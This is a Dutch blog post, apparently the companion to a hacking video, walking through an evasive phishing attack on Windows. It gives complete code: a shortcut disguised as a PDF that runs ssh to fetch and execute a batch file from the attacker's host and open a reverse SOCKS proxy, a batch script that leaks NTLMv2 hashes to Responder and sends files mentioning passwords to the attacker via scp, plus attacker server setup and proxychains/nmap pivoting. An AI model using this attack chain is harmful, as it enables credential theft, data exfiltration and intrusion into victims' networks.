Phishing – Undetected – Setup SOCKS reverse proxy and get password files and NTLMv2 Hash
In bovenstaande Hacking Quicktip toon ik een tip om op een non-malicious en dus undetectable manier toch ontzettend veel informatie en enumeratie mogelijkheden te krijgen op een “victim” machine. We gebruiken bij deze methode default Windows tooling op een non-malicious wijze waardoor detectie relatief laag is. Deze post dient als een resource voor deze video. Dus de gebruikte code en het stappenplan staat hier nogmaals beschreven. Voor meer duiding en uitleg kijk dus eerst even de video!
Stappenplan
#1 Maak de snelkoppeling (*.lnk) (genaamd offerte.pdf). Het volgende SSH commando plaatsen we hierin als target:
C:\Windows\System32\OpenSSH\ssh.exe -f -R 0 -o "PermitLocalCommand=yes" -o "LocalCommand=scp -P 443 john@192.168.10.150:/tmp/command.bat %userprofile%\. && start /MIN %userprofile%\command.bat" -o "StrictHostKeyChecking=no" -q -p 443 john@192.168.10.150 -NT |
De globale van de argumenten is als volgt:
-f = background
-R 0 = Reverse proxy. Met de 0 specificeren we geen specifieke poort welke ook niet vereist is voor een “Reverse Dynamic SOCKS5 Proxy”. Op deze manier kunnen meerdere “victims” tegelijkertijd connecten met de aanvaller.
“PermitLocalCommand=yes” = De mogelijkheid om lokale commando’s (SCP) uit te voeren.
LocalCommand=scp -P 443 john@192.168.10.150:/command.bat %userprofile%\. && start %userprofile%\command.bat = Het lokale SCP commando om command.bat te downloaden en draaien.
StrictHostKeyChecking=no : SSH vraagt nu niet aan het slachtoffer “Are you sure you want to continue connecting”
-p 443 : De poort waar onze SSH server op draait. Deze hebben we dus veranderd naar 443 om firewall resticties te bypassen.
-q = Onderdruk de meeste waarschuwingen en diagnostische meldingen.
-NT: Draait SSH op de achtergrond alleen voor de connectie. Het “victim” kan op deze manier geen commando’s pushen naar de machine van de aanvaller.
Als de snelkoppeling is gemaakt verander dan het icoontje naar een PDF icoontje (mits dit icoontje op de computer van het slachtoffer aanwezig is. Zo niet, gebruik dan een default Windows icoontje).
2. Nu maken we een malicious BAT file welke we gaan hosten in de /etc folder van de “attacking machine”. Dit BAT bestand download een andere PDF en opent deze (de legitieme PDF). Vervolgens zorgt het BAT file ervoor dat er een SMB connectie naar de machine van de aanvaller gemaakt wordt zodat we met Responder de NTLMv2 hash kunnen onderscheppen. Ook zorgt de BAT file ervoor dat we file exfiltration kunnen uitvoeren van files welke matchen aan onze zoekopdracht:
@echo off REM Set the non-existing SSH key path and other variables (to retrieve NTLMv2 hash) set SSH_KEY=\\192.168.10.150\key.pem set REMOTE_USER=john set REMOTE_HOST=192.168.10.150 set REMOTE_PORT=443 set LOCAL_DIR=%userprofile%\ :: Create a directory variable for the destination on the remote machine set "remoteDir=/tmp/loot" REM Execute initial commands to transfer files scp -q -o StrictHostKeyChecking=no -P %REMOTE_PORT% -i %SSH_KEY% %REMOTE_USER%@%REMOTE_HOST%:/tmp/offerte-bijlage.pdf %LOCAL_DIR%\ > nul 2>nul cd %LOCAL_DIR% echo "Opening PDF..." start "" "%LOCAL_DIR%offerte-bijlage.pdf" :: Find files containing specific keywords and loop through each file for /f "delims=" %%i in ('dir /S /B *.* ^| findstr /M /I "password"') do ( scp -q -o StrictHostKeyChecking=no -P %REMOTE_PORT% "%%i" %REMOTE_USER%@%REMOTE_HOST%:%remoteDir%/%%~nxi > nul 2>nul ) for /f "delims=" %%i in ('dir /S /B *.* ^| findstr /M /I "wachtwoord"') do ( scp -q -o StrictHostKeyChecking=no -P %REMOTE_PORT% "%%i" %REMOTE_USER%@%REMOTE_HOST%:%remoteDir%/%%~nxi > nul 2>nul ) exit |
3. Installeer en start SSH op de machine van de aanvaller:
sudo apt install openssh-server sudo systemctl start ssh sudo systemctl status ssh |
4. Maak nu een password-less SSH user aan:
sudo useradd -m john sudo passwd john sudo chsh -s /usr/bin/zsh john sudo passwd -d 'john' su john ssh-keygen |
Daarna maken we de volgende aanpassingen in de SSH config file: /etc/ssh/sshd_config:
Port 443 PermitEmptyPasswords yes Match User john PermitOpen none AllowTcpForwarding yes GatewayPorts yes |
5. Plaats een legitieme PDF file in /tmp genaamd: offerte-bijlage.pdf
wget https://jarnobaselier.nl/files/pdf/encryptietabel.pdf -o offerte-bijlage.pdf |
6. Start responder
sudo responder -I eth0 -v |
7. Maak de loot folder in /tmp van de Kali machine en zorg ervoor dat de SSH user hier rechten toe heeft:
mkdir /tmp/loot chmod 777 -R /tmp/loot |
8. Voer de aanval uit (activeer het .lnk bestand aan de kant van het slachtoffer).
9. Kijk op welke poorten SSH connected is:
sudo netstat -tulpn | grep ssh |
10. Nu kunnen we de connectie gebruiken als SOCKS5 proxy. Hiervoor passen we het Proxychains config bestand aan (/etc/proxychains4.conf):
sudo nano /etc/proxychains4.conf socks5 127.0.0.1 45587 |
11. Nu kunnen we de reverse proxy gebruiken om het netwerk en andere hosts op het netwerk te enumereren. Bijvoorbeeld:
#Host discovery: sudo proxychains nmap -PE -sn -n 192.168.10.1-255 #Portscan: sudo proxychains nmap -Pn -T5 192.168.10.10 |